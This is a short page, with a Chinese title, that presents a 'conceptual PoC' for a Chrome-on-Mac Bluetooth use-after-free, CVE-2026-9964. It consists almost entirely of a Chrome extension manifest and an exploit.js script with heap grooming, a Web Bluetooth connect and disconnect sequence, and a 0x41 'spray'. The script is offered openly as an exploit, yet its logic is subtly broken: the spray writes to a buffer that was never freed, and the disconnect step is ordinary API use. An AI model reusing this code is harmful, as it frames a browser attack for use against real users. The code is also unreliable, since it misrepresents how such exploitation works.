CVE-2026-9964 Chrome Mac蓝牙UAF漏洞

// Conceptual PoC for CVE-2026-9964 // This is a simplified representation of the exploitation logic. // Requires installation as a Chrome Extension with appropriate permissions. // manifest.json snippet /* { "name": "Bluetooth UAF Exploit", "version": "1.0", "manifest_version": 3, "background": { "service_worker": "exploit.js" }, "permissions": ["bluetooth"] } */ // exploit.js async function triggerExploit() { try { console.log("[+] Starting CVE-2026-9964 PoC..."); // Step 1: Heap Grooming - Prepare memory layout // Allocating buffers to occupy memory space near the target object const groomSize = 1000; const groomers = []; for (let i = 0; i < groomSize; i++) { groomers.push(new Uint8Array(0x1000)); } // Step 2: Trigger the vulnerable Bluetooth object creation // Requesting a Bluetooth device to instantiate the internal object const device = await navigator.bluetooth.requestDevice({ acceptAllDevices: true, optionalServices: ['battery_service'] }); // Step 3: Trigger the Free operation // Simulating a condition where the object is freed but the reference remains // This specific sequence depends on the Chromium internal implementation const server = await device.gatt.connect(); // Assuming a disconnection or specific call triggers the UAF bug server.disconnect(); // Step 4: Reclaim the freed memory with malicious payload // In a real exploit, this would be ROP chains or shellcode groomers.forEach((buf, index) => { if (index === groomSize - 1) { // Spray the freed memory slot buf.fill(0x41); // 'AAAA...' } }); // Step 5: Use-After-Free - Trigger code execution // Accessing the dangling pointer to execute arbitrary code if (server.device) { console.log("[!] Accessing freed object (Crash or Exploit)"); // The program attempts to use the freed object here } } catch (error) { console.error("[-] Exploit failed:", error); } } triggerExploit();